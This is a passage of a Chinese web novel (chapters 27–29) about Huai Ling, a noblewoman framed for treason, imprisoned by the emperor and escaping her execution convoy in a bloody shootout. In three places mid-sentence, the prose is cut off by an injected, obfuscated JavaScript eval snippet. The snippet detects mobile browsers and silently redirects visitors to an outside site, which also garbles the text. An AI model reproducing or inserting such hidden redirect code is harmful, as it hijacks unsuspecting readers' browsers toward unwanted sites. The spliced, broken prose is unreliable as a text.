见槐雾变成这个样子,槐翎心想槐雾终于肯扯下这愚蠢的伪装了,她也不装了,脸上充满嘲弄。 “宁少将知道了吗?他送进A区的宝贝儿子就这么被杀了,连头都碎得捡不回来?” 槐雾伸手就想往槐翎的脸上扇去,然而槐翎只一个侧身就避开了他的攻击,他气得眼睛充血,脖子的青筋都冒了出来。 “你知道我最看中这场狩猎,也知道宁吉的重要性,不仅如此,你还要把脏水泼在父亲身上,间谍?简直可笑,你这一招可把我们都拉下水了,你真是彻头彻尾的疯子啊。” “我们还留你一条性命,不过是看在死去老头的面子罢了,他向来最疼爱你,你只要安分守己,我们怎么都不会碰你,而你却三番四次挑衅我们,上次死去的那三个人,你知道皇帝有多生气吗?他们的家族可不是废物,槐翎,你真是太贪心了,事到如今你还有什么不满足的?” “堂哥,我的父母现在脖子上装着炸弹,只要皇帝动动手指,他们就能被炸得灰飞烟灭,你觉得,我还会对你们有什么好感?我应该对此感到满足吗?” “我以前以为……算了,是我没去查清楚。”槐雾愣了一下,想到槐翎的父母,槐雾的语气有所缓和,似有些许愧疚。他们是一起长大的青梅竹马,槐翎的父母是出了名的温和善良,曾经给予了年幼的槐雾温暖,甚至比自己的亲生父亲还要多。如果不是槐翎主动说出来,恐怕没人知道内情是这样。 “这次你闹得太大,所有的这些我都会交给皇帝,宁少将自然也会看到,最快明天你就要去皇宫。” 槐翎握紧了拳头,她还不想就这么结束。 “你要是和父亲道个歉,说不定他还能看在你父母份上网开一面。”槐雾摊手,他直勾勾盯着槐翎,眼底竟有几分嘲弄。 “这次你摊上事了,就因为那一滴血。” 槐雾站在灯下,灯光投下的阴影让人看不清他的表情,而槐翎竟然看到他露出沾沾自喜的笑容,让槐翎想起来以前恶作剧成功的槐雾就是这样笑的。 怕不是大家都在等槐翎摔跟头的那一天,如今他们终于能看到了。 27. 第 27 章 小久站在槐翎的小屋门前,他不知道等待了有多久,直到深夜的秋风让他的皮肤感到些许疼痛,让他清醒了半分。 他是来做道别的,虽然祝译已经劝过不要再和槐翎有接触,但小久认为做事情要有始有终,在经过一系列思想斗争后,他最终还是站在了这门前。 他酝酿了许久,还是没有勇气去敲门。 槐翎会装作看不见,还是会奚落他一顿让他滚? 无论哪个都足够给予小久离开的勇气,他只需要一句话,这样他就能消失得远远的。 从旁边的小屋里隐隐传来说话的声音,小久记得那是槐雾的小屋,透过窗户还能看到丝丝光亮,他只抬头看了一会就没再在意了。 他又等了好一会,最终还是伸手敲了门。 和他想象中的一样,没有任何回应,不知道怎么的,小久觉得这样的结局反而更好一些。 槐翎一定不想看到他,都这样了还能厚着脸皮上赶着的人,恐怕这个世上没几个了吧? 他苦笑了下,决定转身离开。 在经过槐雾的小屋时,他竟然清晰听到了槐翎的声音,虽然很轻,但那说话的语调与音色,很容易辨认出来那就是槐翎。 小久还是没忍住停了下来,和之前不一样,现在的小屋前没有警卫看守,于是他能轻易地接近这位殿下的身边。 “话又说回来,你这个计划太拙劣,你太着急了,不然可以再弄得漂亮些。”槐雾说道,听他这么说,他似乎早就知道了槐翎近期的小动作。 “不过,我很高兴你想通并利用了他。” 槐翎听完之后有了一瞬的沉默,她轻声笑了出来,“一个弃子罢了。” “他好像真对你有感情。” “愚蠢,我是什么身份?他不过是个出身C区的贱民罢了…能为我所用,是他的荣幸。” 她的笑声极为刺耳,听得小久一阵心悸。 “你说得对……不过,只要你愿意,我可以为你提供庇护,父亲不会真对你做什么的。那宁少将就不一定了。” “谢谢堂哥的好意,你知道的,我这个人最不喜欢欠别人人情。” “在A区的你们,不都是人质吗,父亲给予的居住权就像是一个镶了钻的项圈,把你们圈养在内,看着你们互相争斗,好似美好的未来真的在眼前,实际那不过是他编织的幻象罢了。你要是依赖我,以后的日子也能轻松些……” 小久没想到会听到这些片段,人质?这才是A区的本质吗? 已经没有听下去的必要了,槐翎确实是杀人凶手,而槐雾会帮助槐翎脱罪,小久则是她的弃子,这都是槐翎计划好的,从一开始她就没有信任过小久,槐雾那天冠冕堂皇的模样也不过是假象,这个世界哪有什么公平可言? 之前想好的话语也全部没有了说出口的意义,在E区尚且有底层人民为了性命互相撕咬,在A区这样顶层的社会里,大家不过是穿着光鲜亮丽去争夺食物罢了。 他们之间好像也没有区别。 * 翌日,狩猎正式取消。 皇室的专机来到了猎场,槐雾和槐翎登上了专机,目的地是皇宫。 祝译站在草原上,抬头遥望这画着金色图腾的专机逐渐消失在天空中,她的三观在这几天里快速地进行了重塑,如今倒也没什么可以让她惊讶的了。 小久已经打包好了行李,他将会接受案件调查,因为没有居住地,他被送往D区的集中宿舍,在离开之前他还是找到了祝译,身后跟着两个持有武器的士兵。 祝译看着憔悴的小久,嘴里祝福的话语怎么也说不出口,来到D区的他又将会面临怎样的挑战呢? 他的善良在经历了E区的多年洗礼都没有被磨灭,在A区的半年却足够让他身心俱疲,再也不愿敞开心扉,这样的小久还能再保持善良下去吗? 还是说这样会更好呢…在这个世界里最不需要的品质大概就是善良了吧。 祝译的喉头一哽,不知不觉中红了眼圈。 “你是我在学院里唯一一个主动跟我说话的人。”小久扯出了一个悲凉的笑容,“谢谢你。” “之后你有什么打算?有什么是我能帮上忙的?”祝译连忙追问道,她突然有种感觉,小久这一趟离开后,恐怕再也遇不到了。 他背过身去,同样抬头看了眼天空。 “我的父亲是为了调查E区一恶性案件才前往E区的,他并未因为E区的环境对E区人有偏见,但是来自C区的他却成为了E区人天然的敌人,他们阻碍调查,杀害安保小队,因为对于他们来说,那才是他们认为的正义。” “我的父亲一辈子兢兢业业,这个案子却让他送了命,说来也是奇怪,一个E区的案子,为什么会让一个C区的检察官去调查?恐怕,他的丧命早就在谁的计划书里,毕竟在他们书写的计划书里,死去的不过是一个无名无姓的检察官罢了,他既不来自B区,也不来自A区,和皇室一点关系都没有。” “而为了他,皇帝竟然让军队镇压了E区,一切真是巧合得让人难以置信,他是那么的重要,又是那么的微不足道,对于上面的人来说,我们是不是都是这样的道具?” 祝译静静地听着,那件事当时媒体几乎没日没夜都在报道,一名年轻有为的检察官,在接手案件后的第二天就亲自前往E区走访调查,又在那天夜晚被打得头破血流,尸-体挂在E区的大门直到血液流干。 因为案件过于恶劣,皇帝大怒,当即决定镇压E区,进行大清洗,军队驾驶着泰坦,用对装甲的武器无区别扫射了E区90%的区域,所到之处寸草不生。 “怀着憎恶的我来到了E区,想要为父亲复仇,却听到了不一样的回答——那些调查小队是带着毒气而来的,这样的消息不知道从谁的口中传来,到最后,那些为了活命的人民也顾不上考虑这句话的真假,他们用石头砸死了小队成员,至于毒气这件事,谁还在意呢。” “你说,我是应该恨谁比较好呢?” 小久仿佛是在说别人的事情,他没有任何情绪,眼里只有无尽的空洞。 “你还想去恨吗?”祝译反问道。 “我知道的,仇恨不会解决问题,只会让我更加痛苦。” “那去抗争和改变这个不公的社会吧。” “而且,我已经想好你的辩护词了——子弹的数量与我曾听见的枪声。真相是不会被掩埋的,你的清白也是。”祝译的声音像是劈开浓雾的曙光,她目光炯炯,一阵风吹来,草根在风中翻滚了几圈,然后悄然落在大地之上,这样的草根并不起眼,却布满了整个草原大地。 * 槐翎被用镣铐困住了手脚,她站在皇宫的大殿之上,挺直了背,在看到坐在至高位的皇帝时,她也没有半分尊敬的意思。 旁边的宁少将死死盯着槐翎,他眼皮还是肿着的,看来是因为宁吉的事情没少流眼泪。 想到这里,槐翎没忍住笑了出来。 槐翎的笑容刺痛了宁少将,他快步走到槐翎的身后,然后用脚踹向槐翎的腿,“见到皇帝还不跪下!” 他的力气很大,被控制了手脚的槐翎没有反抗的余地,她的膝盖重重地落在冰冷的宫殿地板上,发出了巨响。 槐翎像是感知不到疼痛,她抬眸直视皇帝,嘴角依然带着笑意。 “是你杀的宁吉?”皇帝语气平淡,他就这么坐在高处,俯瞰着大殿上的臣民。 “自然不是。”槐翎自信地回答道,她是个骗子,什么谎话都能说得出来,心里还没有一点负担。 要坐牢还是死刑,让替罪羊承担就好了。 “就是你…那个人根本不是什么皇帝的人,他没有可能杀掉我的儿子!”宁少将红着眼睛,他用手指着槐翎,如果不是旁边的卫兵挡了一下,恐怕他的拳头已经落在槐翎身上了。 “我调查过你,你接受过军事训练,全科满分完成了结业测试,那三发的精度根本不是普通人能做到的!”他越说越激动,炙热的泪水流了下来,有几滴甚至甩到了槐翎的脸上。 她不掩饰自己的厌恶,侧过头去以蔑视的目光警告了宁少将。 “还有在你衣领上的那滴血,毫无疑问那就是最关键的证据!我儿子是聪明人,他一定是想通过这滴血告诉我谁才是凶手!” “所以,只要谁沾了被害者的血,谁就是凶手了?宁少将,幸好你的工作范围不包括判案。”槐翎这话说得一点也不心虚,反而还趁机讽刺了他一顿。 宁少将气得捂住自己的胸口,在其他人的搀扶下才没有倒下。 沉默的皇帝也在此时终于开口打断了这场闹剧。 “这个案子会交由最高院进行判决。在那之前,槐翎将会扣留在皇宫内,限制自由。” “陛下!”宁少将膝盖一软就这么跪了下来,“我恳求你还我家族一个公道,我在前线努力战斗只是为了我这个独子,如果——”他抽泣着,没有把话说完,但意思很明显,这是明晃晃地威胁皇帝去了。 槐翎心想这人真是愚蠢够彻底的,皇帝这个人最憎恨别人威胁他,尤其是在这种事情上,他宁少将当真觉得自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281867|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己是那么重要? 皇帝听完之后,虽然没说什么,但周身的气压低了不少。 宁少将全然没有注意到这点,他絮絮叨叨说了不少不入流的话,槐翎只静静地等待他走入不归路。 这场闹剧结束后,槐翎被好几个人护送着前往她的房间,曾经她也是在皇宫居住过一段时间的,因此回去的这段路倒也不陌生。 原本该早早离开的宁少将毫不客气地在她的去路上挡住了槐翎,他还是那副雄赳赳的模样,手里拿着皇帝御赐的佩刀。 “我知道你不少往事,就算这次你侥幸逃脱了,我也不会让你好过。”他恶狠狠地说道,猩红的眼睛只余下对槐翎的仇恨。 “宁少将调查得很对,我的确是全科满分毕业的,但你可知皇帝陛下有一支秘密部队?他们都是经历过专业训练的精英,而每个人都和我一样全科满分毕业的,你要是感兴趣的话,去调查一下如何?”槐翎收起了笑容,她这话说得不假,这支部队是专属于皇帝的,只为皇帝完成绝密任务,像是刺杀还是查探消息,那都是手到擒来的。 见宁少将的表情先是从惊讶再到变得凝重,槐翎知道他是听进去了,真是愚蠢……她原本就不打算让宁少将就这么和皇帝决裂,只要有那么一点可能性,在他们这坚不可摧的信任上添上那么一点裂痕,就足够影响前线的战局。 反抗军如果能尽可能再掀起来些波澜的话,那她只要在后面看皇帝会怎么应对就好了。 她不指望反抗军能把槐迩从皇位上踢下来,她在等待一个槐迩大意的时候,等时机成熟,槐翎就能把匕首亲手送进他的心脏。 * 槐翎的镣铐并未被取下,而门窗也从外部锁起来,卫兵重重守着这个小小的房间,槐翎早就习惯了这样的生活。 深夜,皇帝就这么当着卫兵的面输入了门锁密码,堂而皇之地进入了槐翎的房间,注意到槐翎还未入睡时,大门缓缓地关上,发出了清脆的自动锁定声音。 槐翎坐在窗边,月光照亮了她的脸庞,她并未去看槐迩,而是注视着远方的景色,槐迩来到她的身后,戴着手套的宽大手掌抚上了槐翎的下巴。 “我记得你最喜欢这里看到的景色。”槐迩的嗓音低沉,他如今很少说话,每次一发出声音倒像是个设定好的人工智能。 “从这里能看到我妈妈为我亲手栽下的茶苗,我还记得你带着槐雾来探望我们的画面,那个时候你最喜欢我跟在你身后喊你做叔叔。”槐翎这话说得带刺,处处都在讽刺槐迩。 槐迩的手指忽地收紧,好像要把槐翎的骨头捏碎,皮手套发出吱吱的声音,喑哑又混浊。 “让我动怒没有任何好处,翎翎。”他说话的时候,正巧有一只乌鸦从窗外飞过,黑色的身影在月光的照耀下变得更加阴郁,一根黑色的羽毛轻飘飘地落在窗台上,槐翎闭上眼睛,努力不让自己被槐迩的话语所影响。 她是打从心底怕这个人的,曾经她喜爱这位叔叔,把他视为榜样,如今…… 她不愿再去回想。 “你的计划很稚嫩,换做是我的话,我会拉拢槐雾,让他为我所用,作为皇帝的儿子,他还是有更多利用价值的。”他松开手,又像是在抚摸拥有了裂痕的瓷器般一下接着一下去触摸槐翎下巴上的红印。 槐翎咬紧牙关才止住了身体因为恐惧而自发的抖动,下巴的疼痛根本算不了什么,只有他常年沉浸在战争与斗争中养成的压迫力,才会让槐翎感觉到铺天盖地的惶恐。 “翎翎,你太害怕了,不敢相信其他人,也不敢付出自己的真心,就像是一只被伤害过的猫,对着更弱小的猫露出尖牙,你把你的愤怒与无能发泄在其他人身上,试图获得一点安全感。只可惜,最后信任你的人,爱你的人,都会离你而去。”他侧身,在槐翎的耳边轻声说道。 槐翎握紧了拳头,她咬牙不语,无视了槐迩的问题,这份挣扎放在槐迩眼里跟幼猫的示威如出一辙。 槐迩无声地笑了,槐翎能够清楚地感知到他的胸腔震动,下一刻她猛地被用力掐住脖子,她呼吸一窒,下意识地想要挣扎,却碍于手脚的镣铐根本没有挣扎的余地,她不顾形象地散乱着头发,又龇牙咧嘴地从喉咙挤出咒骂的声音,但此时发出的声音无法连接成词语,听起来倒像是在垂死挣扎的幼兽。 “只有我会永远陪在你的身边……”槐迩手上的力度越来越大,似是要把她永远禁锢在怀里,他一边安抚暴动的槐翎,又一边在她耳边低语,似是情人间的衷情,又似是仇人间的秽语,然而槐翎的意识逐渐远去,再也听不清。 28. 第 28 章 槐翎被关在房间里已有数十天,这个房间没有窗户,仅有一扇用于提供物资的小门,下人会送来必需的物资,除此之外没有人会进入房间。 她在心里默默记下时间的流逝,判断的标准也不过是食物送来的频率,她根据食物的搭配来简单分辨出了早午晚三餐,如果说外面的人打乱了时间以此迷惑槐翎,她也无从查证。 房间是特制的,隔音避光做得极好,外面的人经过时几乎听不到任何声音,她每日只能在空荡荡的房间里消磨时间。 手脚上的禁锢并未放开,反而开始监测起她的心率等各项数据,槐翎不是第一次来到这个房间,比起第一次她的迅速崩溃,现在的她反而平静不少。 按照外面的进展,恐怕学院已经恢复正常运作,大家也不会在意宁吉的案子,至于消失的她,估计在引起一阵讨论后就再也掀不起什么波澜,槐雾表面愚蠢,实际精明,可能在槐迩的授意下早就把这件事轻轻带过了。 她在等待宁少将,等待自己在他心里种下的种子发芽那一天。 在此之前,她还不能崩溃,至少她还有自己隐藏在心底最美好的记忆来反哺。 在一次睡梦中,她少有地梦见在公寓里的生活,槐翎坐在柔软的沙发上,电视正在播放新闻,具体什么内容没办法听清,但她耳边有着另一个人的声音,那个人说话不多,语气温和,好像在讨论一件微不足道的琐事,槐翎只静静坐在那里,心里却感觉到前所未有的平静。 十天后,那扇门再次打开了。 槐翎站在正中央,等待来人说明来意。 “关于宁吉案件的判决已下,最终判定槐翎无罪。”全身包裹在制服里的人如此说道,他身上并无佩戴任何武器。 槐翎对这样的结果并不感到意外,她伸出手臂,示意把镣铐取下。 “这次我来不仅是为了这个案件,”他顿了一下,眼光只在镣铐上停留了一瞬,并无解开的意思,“有人提交了你关于涉嫌叛国行为的证据,现在进行多方调查中,在取得结论前,你的监禁将会无限期延长下去。” 槐翎的手僵在了半空中,叛国?证据? 她何时做过这种事情? “谁让你来的?”槐翎沉下声音,她不能再忍受这样长期被关紧闭,她还有很多事情尚未完成,怎么可能在这里一直浪费时间? 那人并未理会槐翎的问题,他转身就要离开,槐翎咬牙就想追上去,然而只要一接近大门,手脚上就会传来电流,刺激得她浑身僵直动弹不得。 她狠狠地摔在地上,像丧家犬一样忍耐着身体的疼痛,拼尽全力才控制自己不发出任何惨叫。 之后的几天,食物的供应不再准时。 槐翎知道这是有人在挑战她,她也因此停掉了每日高强度的无氧运动,转而寻求有氧运动,时间的判断不再准确,而她一直以来给自己树立的准则也会开始紊乱。 她只能不断地迫使自己保持冷静,没有任何通信方式,无法与外界联系,她没办法单方面依赖外面的人的帮忙,不自救的话她真的会在这里慢慢腐朽下去。 槐翎开始在墙壁上用水写下自己的故事,她把每日送来的水源都保存下来,再用手指蘸取水滴,在墙壁上尽可能地进行创作,只有这样她才能保持大脑活跃。 有时候不仅是故事,还有她看过的文章,研究过的理论,心情好的时候她也会画一下画,她会迫使自己去回想起流行音乐,只想起来片段也没关系,她轻轻哼着歌,时而创作,时而背诵。 这样的日子持续了有十多天。 她不再像过去那般强壮,身材反而变得紧致,因为没有阳光的照射,肤色变得惨白,只有那双眼睛总是酝酿着恨意与复仇,时刻提醒她生存的意义。 等门再次打开时,又有一人来到她跟前,手里拿着一份文件。 “审判结果已经出来了,陛下传召。” 槐翎并未所言,而是安静地跟在他身后,她不是想过,如果杀了眼前的人会发生什么事情,但如今没有任何武器的她,恐怕连皇宫都跑不出去,而身上的镣铐还会发出电流,这样想来实在不是什么明智之举。 她抬头直视太阳,刺眼的阳光照得她一阵头晕目眩,现在的她也变得有些虚弱了。 槐翎时隔多日再次来到了大殿门前,出乎意料的是,大殿里还有几个熟悉的脸庞,槐翎突然明白了自己为何会被关起来。 毕竟这些人的家人都拥有一个共同的特征——那就是曾经被槐翎所杀害。 他们都紧紧抿着嘴唇,身体绷紧,死死盯着气定神闲走进来的槐翎,槐翎享受着他们的注视,这份恨意和她太相似了,曾经她也像他们一样毫无掩饰地表达情绪。 坐在大殿中央至高处的槐迩面无表情,卫兵都一一退下了,沉重的大门被从外面关上,门锁响起的声音像是要把这大殿与现实隔绝开来。 一名穿着制服的法官手持判决书,站在了槐翎的跟前。 槐翎站直了身子,居高临下地看向眼前的法官,她虽被禁锢,却从未表示臣服。 “根据多方查证……认定被告人槐翎犯叛国罪,判处死刑。” 槐翎有了一瞬间的恍惚,叛国罪?简直可笑! “这几天捏造证据可辛苦了吧,你们觉得这张纸就能决定我的生命?”槐翎环顾四周,她的声音不大,却中气十足,每个人都能听到她的话语。 “为什么不能?”宁少将从黑暗中走来,他手里紧紧握着槐迩御赐的佩刀,宁少将脸上少有地带有笑容,他嘴角上扬,恨不得当场就把佩刀拔出来把槐翎就地正法。 “槐翎,在你杀害我儿子的那一刻,你有想到过自己的今天吗?” 槐翎并未理会宁少将的挑衅,看来她的那颗种子没能发芽。她看向王位上的槐迩,一字一顿地说出自己的要求:“我要求查看证据。” 话刚说出来,她觉得自己有些天真了。 他们当然可以捏造证据,就算没有也能说成有的,要证据又有什么意义呢?她的否认苍白无力,站在这里不过是为了让他们羞辱一顿和程序上的正义罢了。 槐翎突然想起来那天在猎区,小久也是这样站在大家的面前,接受虚假的指控。 自己如今竟然也是处于和他一样的境地了,这才多久?怎么就变成这样了……不过,槐翎不是小久,她向来不是束手就擒的性格,现在也不是考虑这些的时候。 “算了,不用给我看了,你们玩得开心就好。”槐翎咧开嘴笑了,她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292405|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,旁边那些人反倒不冷静了,他们气极了一个个都指着槐翎咒骂起来。 “什么时候行刑?”她再次看向槐迩。 她其实并不相信槐迩会真的处死自己,处死反而是便宜了槐翎,像槐迩这种锱铢必较的性格,直到他玩腻的那一天槐翎都不会得到解放。 他是那样的小心眼,槐翎太了解他了。 * 根据律法,槐翎是要在D区行刑的。 几个小时后,全区的广播都在播报槐翎被判死刑的新闻,一时间所有人都认识槐翎,认得了她的脸庞,也知道了她曾经做过什么。 与他国间谍联系,杀害了无辜的人…只要是符合设定的罪名,都往槐翎身上安放了,槐翎坐在偏厅里喝茶的时候,正好电视里就放着她的新闻。 “这张照片拍得不像我。”她只淡淡地瞥了眼屏幕,内心没有太大波澜。 槐雾坐在她的对面,实在不敢相信槐翎竟然还这么冷静。 “我用了我半年的零花钱才换回来这次和你见面的机会,你有什么要交代就赶紧跟我说吧,这次你是真的麻烦了。”槐雾连忙伸手把槐翎的茶杯拿走,见她手脚还带着镣铐,槐雾眉头紧锁,整个人都笼罩在忐忑之中。 槐翎只好转而拿起一块饼干,慢慢地嚼了起来,“我有什么可交代的?如果是用铡刀,记得要磨锋利些,这样才能把头切干净,别连皮带筋的;要是用药物,那剂量就得比一般人还要多一倍才够……” 槐雾气得白眼一翻,杯子被他用力地放在桌面上,发出刺耳的声音。 “我之前说过的话还算数的,只要你依赖我……”“不必了。” 槐翎干脆利落地打断了槐雾的建议,他这副模样竟然有了几分和槐迩的影子,该说不说,他们毕竟是血浓于水的父子,在某些方面的癖好是完全一致的。 槐翎明白他们两个不过是单纯的征服欲作祟罢了,自己越是桀骜不驯,他们越是想要得到,这里面有几分“亲情”掺和倒是模糊不清。 要是真的为了一时安稳臣服于他们,那人生才是真的完了。 “要你做的事情还是有的,”槐翎抬眼看着槐雾,“我那套公寓记得帮我保管好。” 槐雾愣了一下,他拿起茶杯送到嘴边,蒸汽熏上来,让他的脸有些湿润。 “这我还是做得到的。” “那就谢谢堂哥了。” 茶喝完了,饼干也要吃完了,这用了半年零花钱换来的会面也是时候结束了。 槐雾率先站了起来,他来到槐翎的身边,伸手重重地在槐翎肩膀拍了三下,又用着只有二人才听得见的音量说出最后的告别话语。 “在通过A区关卡时,我会放出干扰器,你有一分钟时间解除镣铐,解除后一分钟内安保系统就会报警,那个时候所有运送你的车辆都会获得通知,我建议你尽快动手。” 槐翎静静听着,把所有的细节都记在脑海里。 槐翎有的时候想,到底哪个模样的槐雾才是真正的槐雾,如果槐雾一直是那副愚蠢的模样,倒也挺好的,起码他不用背负太多。 说完槐雾往前走了两步,又回过头来深深看了眼槐翎,他知道这次之后要见面就难了,也可能之后再也见不着了。 29. 第 29 章 听说在运送槐翎上车队的时候,周围是有在鼓掌的。 槐翎在走过长廊时,心里倒是出乎意料的平静。 她坐在车厢里,旁边有六人全副武装看守,根据声音可知,在运送她的这辆车前后共有四辆车,其中一辆速度快一些在前方开路。 深秋的下午还是有些寒冷的,槐翎只穿着简单的白色长袍,头发挽起来全都固定在脑后,手脚还是被控制起来,她坐在中间,享受着这样的“最高待遇”。 从车内看不见外面的景色,不过她记得从皇宫到达B区的边缘要多久,她对A区太熟悉了,熟悉得甚至闭眼都能显现每条路的方向。 在脑海里演练了数次后,槐翎心里也有了大概的计划。 她没有太大的可能把卫兵引走然后顺利地解开镣铐,大概是只能在他们眼皮底下快速解开了,虽然很冒险但别无他法。 之后只要夺取其中一名卫兵的武器就够了,在这个狭小的空间里,能抢占先机的人才有存活的机会。 一切都要出其不意,要快,之后就得是随机应变了。 这个计划实在太乱来了,槐翎没忍住发出了低低的笑声,旁边的卫兵警惕地看着她,颇为紧张地握紧手里的装备。 看着新闻把自己塑造成一个魔鬼,现在只是笑一下就有如此效果,槐翎觉得这恰恰是帮了她一把,如果不是有照片放上去,恐怕大家都会觉得槐翎是一个青面獠牙的恶鬼。 车辆似乎马上就要经过关卡了,槐翎能感觉到车子的轮胎有了不一样的振动,然后车辆停了下来,看来是到了该动手的时候了。 她用长袍遮盖脚踝,又小心翼翼地把手指探到镣铐的开口处,她在心里默默倒数,虽然没有任何提示音,槐翎还是按照槐雾的指引按下开关。 镣铐发出了很小的“滴”的提示音。 在这坐满人的车厢里并不突兀,但槐翎这弯腰的姿势足够引起所有人的注意,她装作要伸展身体,实则双腿已经脱离了镣铐的控制,她又用长袍做掩饰,只需要解除手部的镣铐,她就能获得自由。 槐翎的脑海里正在倒数,一分钟可以很快,也可以很慢,她一边用手指探索开关,一边活动自己僵硬许久的脚踝。 镣铐再次发出提示音。 距离报警还有十秒。 此时车队经过了关卡的盘查,重新开始加速。 这一次坐在槐翎旁边的卫兵似是觉察到有什么不对,他扭过头来盯着槐翎,想从她的脸上发现端倪,却只见这个在三个小时后就要死去的女人,脸上露出了诡异又兴奋的笑容,眼睛睁得大大的,搭配惨白的肤色在黑暗的车厢内宛如恶鬼。 他感觉自己全身的汗毛都立了起来, 下一秒,刺耳的警报声响彻整个车队,不知道何时开始,乌云压下来,遮盖了湛蓝的天空,原本晴朗的天空迅速阴沉下来,远方还有雷声传来,这样的变天实在是过于迅速又过于诡异,一道闪电劈了下来,好像正正落在车辆的前方,照亮了车内。 在闪电的帮助下,槐翎也在所有人惊讶的那一瞬间伸手从卫兵的身上拔出一把手枪,她解开保险,上膛,动作一气呵成,枪口迅速地对准了右手侧最近的卫兵,在他的腰间和胸腔开了两枪,没等他发出惨叫,左手把中枪的卫兵扯过来挡在自己身前做肉盾。 而后她对着车内的其他五人逐一瞄准了头部,手枪的威力足够击穿他们的头盔,有一人的反应快一些,他拿起自动步-枪想要瞄准槐翎,却因为车厢过于狭窄,又是防弹的装甲,在此时反而加快了他的死亡,滚烫深红色的子弹在车厢内部弹跳,他这一招除了让自己的身体多几个枪口外并无用处。 数秒后,车辆的轮胎马上锁死,惯性使然,车子向前滑行了数十米直到撞到了什么硬物,槐翎能听见外面嘈杂的警报声,还有无数人说话的声音,她不慌不忙地推开身上盖着的尸体,从他们身上搜寻能够使用的武器,她扔掉手枪,转而把一把自动步-枪背在自己身后,自己又找了两个弹匣出来,简单固定在腰间,双手持自动步-枪,在做了简单的检查与上膛后,她深呼吸数次,然后一脚踢开车门。 再一道闪电落在高速公路上,照亮了槐翎的脸。 数十人把她包围了起来,他们全副武装,没有露出任何破绽,此时正形成了一个包围圈,逐步缩小范围,槐翎没有说话,而是拽过一具尸体放在自己身前。 下一秒,好几发子弹径直射向前方卫兵的头颅,他们没想到槐翎的动作会如此之快,甚至还天真地想过与槐翎进行沟通,哪怕只是两句话也好,也能转移槐翎的注意力借此控制她。 然而槐翎没有任何被干扰的可能性,她利用人的尸体为掩护,像是个收割生命的死神,无情地带走人们的性命。 她的枪法够准,出手狠厉,不带有一丝感情。 五名卫兵应声倒下,刺耳的警报声还未有停歇的意思,冰冷的雨滴淅淅沥沥地落下,稀释了地面上的鲜红血液。 槐翎原本纯白色的长袍在溅上血液后,逐渐晕成了淡红色。 有两名害怕的卫兵甚至产生了逃跑的念头,他们扔下武器,双腿抖如筛糠,高举双手希望槐翎能够放过自己。 槐翎扔下手里千疮百孔的尸体,目光扫过他们的脸庞,然而轻蔑地笑了一下。 她并不吝惜自己的子弹,于是属于他们的子弹同样归还给他们,两具尸体应声倒下,槐翎从他们身上搜到更多的弹匣,统统收下。 此时,电台内传来了“同意就地射杀”的命令。 槐翎自然也听见了,她迅速找到了掩体,躲在车辆的侧面,仔细观察周围的环境,现在还有卫兵八人,雨势逐渐变大,昏暗的天空使得能见度变低,只有车辆的灯照亮了一部分区域。 刹那间,猛烈的攻击从侧面袭来,这些卫兵之所以未有主动攻击,不过是等待射杀命令罢了,接下来才是硬仗。 她更换了弹匣,把空弹匣拿在手里,然而只是稍稍把空弹匣伸出去十厘米,就有子弹袭来把空弹匣击飞。 槐翎的手腕被震得有些发麻,她抹去脸上的雨水和汗水,强迫自己尽可能保持冷静。 她小心地绕到另一个安全区域,利用车辆做掩体,又谨慎地拿出另一个弹匣,朝卫兵所在的区域扔了过去,不出所料马上就有人随之攻击槐翎的投掷物,她也得以迅速找到潜伏着的卫兵,她顺着方向看到了两个卫兵蹲在自己的侧方,在简单的瞄准过后,她的枪口迸发出火舌,两名卫兵应声倒下。 槐翎迅速往反方向奔跑,她知道自己不能曝光在灯光之下,果不其然,好几颗子弹落在她的身后,穷追不舍难以摆脱。 她的脚底很快就磨出了血,而她没有闲情逸致去处理伤口。 她辨认到了追击自己的卫兵位置,在脑海里过了一遍对方大概的行动轨迹,槐翎决定赌一把——她当即转身往自己刚刚过来的方向跑过去,原本快要捕捉到槐翎踪迹的卫兵失去了目标,他们不得不马上进行转移,却在转移的路上正正遇上了折返回来的槐翎。 沐浴在鲜血里的槐翎让人失去了直视的勇气。 枪声再次响起,又有几名哀嚎着卫兵倒下了。 雨下得更大了,大得让人听不清对讲机里传来的话语。 “请小队回复!”“目前状态如何?”“正在派来增援!”呼叫断断续续地响起,然而没有人能够回答。 槐翎的睫毛上满是水珠,她的脚底还在流血,雨水流过时带来了一片红色,染红了大地。 还有卫兵,槐翎静静想着,她记得自己杀了多少人,还有多少人没出现,现在的她不再是“人”,而是要捕捉“人”的“狼”。 她的心跳很平缓,指尖却冷得在发颤。 猝不及防的,白色的光亮直接照在她的身上,她下意识地抬手去挡,紧接着轮胎在湿滑地面上打滑的声音响起,刺耳地制造了烟雾,在浓烟和雨水的干扰下,槐翎暂时性地失去了视力,没等她反应过来,装甲车直接往她正面袭来,速度之快,就算是槐翎也没有全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 